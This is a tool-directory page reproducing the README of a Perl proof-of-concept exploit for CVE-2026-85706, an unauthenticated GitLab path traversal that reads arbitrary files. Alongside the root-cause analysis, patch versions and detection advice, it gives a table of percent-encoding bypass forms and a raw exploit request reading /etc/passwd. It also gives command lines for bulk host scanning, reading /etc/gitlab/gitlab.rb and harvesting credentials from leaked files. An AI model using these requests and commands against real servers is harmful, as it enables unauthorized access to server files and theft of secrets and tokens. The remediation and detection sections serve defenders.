Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706 — Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting. | Kitploit
Tools/GitHubGitHub/gabrielunknown/cve-2026-85706
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.

9h 15m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85706 — GitLab Unauthenticated Arbitrary File Read

CVSS GitLab License MITRE

For authorized penetration testing and Red Team operations only.
Unauthorized use constitutes a criminal offense. See Legal Notice.


Overview

CVE-2026-85706 is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise Editions that allows a completely unauthenticated attacker to read arbitrary files from the server filesystem with a single HTTP request. No credentials, no token, no user interaction required.

  • Disclosed: September 10, 2026
  • First exploitation observed: September 11, 2026 (within 6 hours of disclosure)
  • CISA KEV Added: September 11, 2026
  • Fixed in: GitLab 19.1.8 / 19.2.6 / 19.3.2

Affected Versions

BranchVulnerable RangeFixed In
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

Technical Analysis

Architecture Context

GitLab's HTTP stack has three layers:

root@kitploit:~
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse acts as a smart reverse proxy: for certain "upload" endpoints (repository commits, file operations), it reads multipart request bodies, saves file data to disk, and rewrites the request before forwarding it to Puma. Crucially, it attaches a JWT header (Gitlab-Workhorse-Api-Request) to every request it proxies. Rails then validates this JWT (via require_gitlab_workhorse!) before executing any handler logic.

Root Cause — Three-Layer Path Decoding Mismatch

Layer 1 — Workhorse route matching:
Workhorse matches request paths using a compiled regex that operates on the raw, percent-encoded byte string. It does NOT decode %XX sequences before matching.

Layer 2 — Puma/Rack routing:
Puma decodes %XX sequences before Grape routes the request. So a request to /repository/%63ommits is decoded to /repository/commits and routed to CommitsController.

Layer 3 — Pre-auth file read:
Once in the Rails handler (which is reached without Workhorse's JWT because Workhorse never matched the request), the handler reads params[:file][:path] from the query string and calls:

root@kitploit:~
File.open(params[:file][:path])   # ← happens BEFORE authentication

The Bypass Trick

By percent-encoding one character in a static path segment, the attacker's request slips past Workhorse undetected:

SegmentOriginalBypass FormEncoded Char
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(any)commitscommits/trailing slash
(any)commitscommits.jsonGrape suffix

Content Exfiltration Mechanism

After the file is opened, the content is exfiltrated via Rack's query-string parser:

root@kitploit:~
Rack::Utils.parse_nested_query(File.read(path))

If the file contains a % not followed by two valid hex digits (which is common in Ruby config files, CI YAML, logs, etc.), Rack raises:

root@kitploit:~
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

This 400-response body contains the raw file content up to and including the offending byte — revealing the file's contents to the unauthenticated caller.

Files without exploitable % sequences (e.g., clean /etc/passwd) return a 401 or parameter-validation error after the read: this acts as a file-existence oracle (the read still happened pre-authentication).

Exploit Request Structure

root@kitploit:~
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

MITRE ATT&CK Mapping

TechniqueIDImplementation in this PoC
File and Directory DiscoveryT1083--scan mode probes 38 sensitive server paths
Credentials In FilesT1552.001--harvest extracts keys/tokens/passwords from leaked content

Installation

Requirements

ModulePackageRole
LWP::UserAgentlibwww-perlHTTP client (mandatory)
LWP::Protocol::httpslibwww-perlHTTPS support (mandatory)
URI::Escapeliburi-perlQuery-string encoding (mandatory)
Term::ANSIColorlibterm-ansicolor-perlColored output (optional)
JSONlibjson-perlJSON output mode (optional)
root@kitploit:~
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

Usage

root@kitploit:~
Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

Quick vs Full check

Quick (default)Full (--full)
Requests≤9 (1 preflight + ≤4×2)27+
Early exitYes — stops at first confirmed differentialNo — sweeps all 22 forms
Version infoNoYes
Bypass forms4 representative Files APIAll 22 (Commits + Files API)
Best forFast recon, large host listsPentest reports, --file/--scan prep

Quick check pipeline:

  1. GET /api/v4/version — reachability + GitLab hint
  2. For each of 4 Files API bypass forms: probe /etc/hostname + unique canary
  3. canary → 'local file not present' ∧ hostname ≠ canary → VULNERABLE (exit immediately)
  4. All forms exhausted with no differential → NOT VULNERABLE

Full check pipeline (--full):

  1. GitLab detection + version fingerprinting
  2. Control probe (Workhorse baseline)
  3. All 22 bypass forms × canary path
  4. Differential confirmation with the best confirmed form

--project-id and check modes

The --project-id flag is usable in every mode, including --check and --check-host-list. Understanding the interaction:

Bypass groupFormsProject ID dependency
Files API (%66iles, %46iles, re%70ository/files, …)14None — file read precedes project check by design of the CVE. Any ID (even non-existent) produces the correct signal.
Commits API (%63ommits, %43ommits, repository/commits/, …)8Required — project must exist and be anonymously readable. Returns project-gate if not.

Practical guidance:

  • --check (quick): uses only Files API forms → project ID irrelevant.
  • --check --full: tests all 22 forms. If you know a public project ID, pass --project-id <N> to also confirm Commits API forms.
  • --check-host-list: a single --project-id rarely maps to a public project across all hosts. Omit it.

Examples

root@kitploit:~
# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full

# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt

# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full

# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json

# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt

# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd

# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest

# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt

# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json

# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v

Response Verdicts

VerdictMeaning
leakFile content echoed in the response body via Rack parse error
leak-fragmentPartial content echo via parameter-name fragment
read-noechoHTTP 401 on bypass path — ambiguous: either file read happened pre-auth (vulnerable, clean content with no bad %-sequence), or auth fires before the read (patched server). Use --check to confirm via differential
missingBypass path worked; handler reached; file not present or not readable
rewriteWorkhorse intercepted this path form — bypass failed
project-gateCommits API rejected the project; try Files API forms
norouteRails did not route this path variant

Improvements Over Original Python PoC

FeaturePython PoCThis Perl PoC
Bypass path variants615
Bulk file scanning (T1083)✗✓ Built-in 38-path wordlist
Credential harvesting (T1552.001)✗✓ 22 credential patterns
JSON output✗✓ --json
File output / tee✗✓ --output
File-existence oracle messagesBasicExplicit, color-coded
Retry logic✗✓ Configurable --retries
Per-request delay✗✓ --delay (float seconds)
Custom User-Agent✗✓ --user-agent
Namespace/project IDs✗✓ Auto-encodes / → %2F
Verbose mode✗✓ --verbose

Remediation

  1. Patch immediately: Upgrade to GitLab 19.1.8, 19.2.6, or 19.3.2.
  2. Short-term: Restrict public access to the GitLab instance via network controls.
  3. Credential rotation: After patching, rotate all secrets that could have been exposed:
    • secret_key_base and otp_key_base in gitlab.rb
    • Database passwords
    • SSH keys (/home/git/.ssh/, /root/.ssh/)
    • CI/CD variables and runner registration tokens
    • Deploy tokens and personal access tokens

Detection

Hunt for POST or PUT requests to /api/v4/projects/*/repository/ paths containing:

  • Percent-encoded static segments (%63, %43, %72, %70, %66, %46, etc.)
  • file.path query parameter
  • Trailing slash or .json format suffix on commits or files endpoints

References

  • CVE Record — cve.org
  • GitLab Patch Release 19.3.2
  • The Hacker News — CVSS 10 coverage
  • Forkast News — Technical breakdown
  • Security Affairs — Active exploitation
  • Python PoC — guneykabel
  • MITRE T1083 — File and Directory Discovery
  • MITRE T1552.001 — Credentials In Files

Legal Notice

This tool is provided strictly for:

  • Authorized penetration testing engagements (written permission required)
  • Red Team operations within contracted scope
  • Security research in controlled, isolated laboratory environments
  • CTF (Capture The Flag) competitions
  • Defensive purposes: understanding the vulnerability to detect/mitigate it

Unauthorized use against systems you do not own or lack explicit written authorization to test is illegal in virtually every jurisdiction and may result in criminal prosecution under computer misuse laws (CFAA, Computer Misuse Act, etc.).

The author and contributors of this tool assume no liability for any misuse or damage caused by this software.


Credits

  • Original Python PoC: guneykabel — initial proof-of-concept that demonstrated the core bypass technique
  • CVE Assignment & Disclosure: GitLab Security Team
  • This Perl PoC: Extended multi-form detection engine, credential harvesting, bulk scanning, JSON pipeline output, and differential confirmation logic
Download Tool